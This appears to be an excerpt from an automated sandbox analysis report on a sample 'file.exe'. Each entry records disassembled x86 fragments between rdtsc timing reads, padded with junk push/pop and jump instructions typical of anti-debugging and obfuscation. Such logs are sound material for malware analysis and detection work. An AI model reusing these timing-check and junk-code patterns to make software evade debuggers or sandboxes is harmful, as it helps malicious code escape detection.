Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33CA3 second address: D33CC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F1BE47673C6h 0x00000009 jg 00007F1BE47673C6h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 pushad 0x00000013 jns 00007F1BE47673C6h 0x00000019 jmp 00007F1BE47673CAh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33CC8 second address: D33CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33CD5 second address: D33CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D344EA second address: D3450C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1BE4ECC066h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F1BE4ECC071h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D348FE second address: D34918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1BE47673D3h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34918 second address: D34939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jnp 00007F1BE4ECC066h 0x00000010 pushad 0x00000011 popad 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 jno 00007F1BE4ECC06Ch 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B159 second address: D3B15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B15D second address: D3B19F instructions: 0x00000000 rdtsc 0x00000002 js 00007F1BE4ECC066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b jl 00007F1BE4ECC0A9h 0x00000011 jp 00007F1BE4ECC077h 0x00000017 pushad 0x00000018 jmp 00007F1BE4ECC075h 0x0000001d push edi 0x0000001e pop edi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D460CF second address: D460E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jbe 00007F1BE47673C6h 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D460E1 second address: D4612D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1BE4ECC06Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jg 00007F1BE4ECC066h 0x00000010 jno 00007F1BE4ECC06Ch 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 jng 00007F1BE4ECC089h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4988C second address: D498B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1BE47673C6h 0x0000000a jmp 00007F1BE47673CEh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1BE47673CCh 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D498B5 second address: D498B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D498B9 second address: D498C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F1BE47673C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D498C7 second address: D498CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49426 second address: D4942A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4942A second address: D49430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49430 second address: D49451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F1BE47673C6h 0x0000000d jno 00007F1BE47673C6h 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jnl 00007F1BE47673C6h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49451 second address: D49477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1BE4ECC071h 0x0000000c jmp 00007F1BE4ECC06Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B16F second address: D5B17D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F1BE47673C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B17D second address: D5B181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B181 second address: D5B1B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F1BE47673DFh 0x0000000c popad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 js 00007F1BE47673C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64F47 second address: D64F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64F4D second address: D64F60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64F60 second address: D64F78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F1BE4ECC066h 0x0000000b jc 00007F1BE4ECC066h 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64F78 second address: D64F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64F7E second address: D64F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64F82 second address: D64F88 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63B42 second address: D63B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63C77 second address: D63C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63C7B second address: D63C81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63C81 second address: D63C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63C8A second address: D63CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1BE4ECC079h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67C79 second address: D67C83 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1BE47673CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D679C0 second address: D679C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78A88 second address: D78A8E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78A8E second address: D78AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1BE4ECC072h 0x0000000b push eax 0x0000000c push ebx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ebx 0x00000010 jo 00007F1BE4ECC072h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A332 second address: D7A33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A33C second address: D7A360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a jg 00007F1BE4ECC066h 0x00000010 jmp 00007F1BE4ECC072h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D87836 second address: D87847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jnp 00007F1BE47673C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D87847 second address: D8784B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A6F6 second address: D8A6FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A6FA second address: D8A6FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A6FE second address: D8A708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A708 second address: D8A719 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1BE4ECC066h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA296B second address: DA296F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA296F second address: DA2975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA2DAB second address: DA2DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA2DAF second address: DA2DB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3343 second address: DA3349 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3349 second address: DA334E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA334E second address: DA3373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1BE47673D8h 0x0000000c je 00007F1BE47673C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA615C second address: DA6162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6162 second address: DA6166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6342 second address: DA6346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7920 second address: DA793C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F1BE47673D7h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA793C second address: DA794E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F1BE4ECC066h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9119 second address: DA9123 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9123 second address: DA9129 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9129 second address: DA912F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB0A2 second address: DAB0B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1BE4ECC066h 0x0000000a jnp 00007F1BE4ECC066h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534002E second address: 534006D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F1BE47673D1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1BE47673CDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534006D second address: 5340073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340073 second address: 5340077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340077 second address: 53400A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F1BE4ECC06Fh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1BE4ECC070h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53400A5 second address: 53400AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53400AB second address: 53400B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330043 second address: 5330052 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330052 second address: 53300BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cx, 0703h 0x0000000f mov cx, 105Fh 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 jmp 00007F1BE4ECC072h 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F1BE4ECC06Dh 0x00000025 xor esi, 3389A336h 0x0000002b jmp 00007F1BE4ECC071h 0x00000030 popfd 0x00000031 pushad 0x00000032 popad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53300BB second address: 53300C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1BE47673CAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53300C9 second address: 53300CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537010D second address: 5370113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53000F7 second address: 5300145 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1BE4ECC072h 0x00000008 adc eax, 5AF0B3F8h 0x0000000e jmp 00007F1BE4ECC06Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movsx edx, cx 0x0000001e pushfd 0x0000001f jmp 00007F1BE4ECC06Ch 0x00000024 sbb ch, 00000058h 0x00000027 jmp 00007F1BE4ECC06Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300145 second address: 53001B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, E9h 0x00000005 pushfd 0x00000006 jmp 00007F1BE47673D0h 0x0000000b adc si, 18B8h 0x00000010 jmp 00007F1BE47673CBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007F1BE47673D2h 0x00000022 pop esi 0x00000023 pushfd 0x00000024 jmp 00007F1BE47673CBh 0x00000029 and ah, 0000002Eh 0x0000002c jmp 00007F1BE47673D9h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53001B0 second address: 53001C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1BE4ECC06Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53001C0 second address: 53001C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53001C4 second address: 5300240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007F1BE4ECC079h 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 push esi 0x00000014 mov bx, 0A9Eh 0x00000018 pop edi 0x00000019 jmp 00007F1BE4ECC074h 0x0000001e popad 0x0000001f push dword ptr [ebp+04h] 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F1BE4ECC06Eh 0x00000029 add si, 1C98h 0x0000002e jmp 00007F1BE4ECC06Bh 0x00000033 popfd 0x00000034 mov dh, ch 0x00000036 popad 0x00000037 push dword ptr [ebp+0Ch] 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F1BE4ECC06Eh 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320D05 second address: 5320D0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320D0A second address: 5320D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1BE4ECC06Dh 0x0000000a adc ax, 6A66h 0x0000000f jmp 00007F1BE4ECC071h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a call 00007F1BE4ECC06Ch 0x0000001f mov ebx, ecx 0x00000021 pop ecx 0x00000022 call 00007F1BE4ECC077h 0x00000027 mov ebx, esi 0x00000029 pop esi 0x0000002a popad 0x0000002b push eax 0x0000002c pushad 0x0000002d popad 0x0000002e xchg eax, ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov ch, dl 0x00000034 mov cx, 0E2Dh 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320D70 second address: 5320D8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1BE47673D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532075C second address: 5320777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1BE4ECC077h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320777 second address: 53207A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F1BE47673D2h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1BE47673CAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53207A3 second address: 53207A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53207A7 second address: 53207AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53207AD second address: 53207CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC06Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bx, 4DD0h 0x00000012 movsx ebx, cx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320672 second address: 5320678 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320678 second address: 53206CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC06Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1BE4ECC06Eh 0x00000011 jmp 00007F1BE4ECC075h 0x00000016 popfd 0x00000017 mov ch, ABh 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F1BE4ECC074h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53206CD second address: 53206DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53206DC second address: 5320720 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 16ABB79Ah 0x00000008 mov dh, B3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F1BE4ECC06Ah 0x00000013 mov ebp, esp 0x00000015 jmp 00007F1BE4ECC070h 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1BE4ECC077h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320333 second address: 5320337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320337 second address: 532033D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
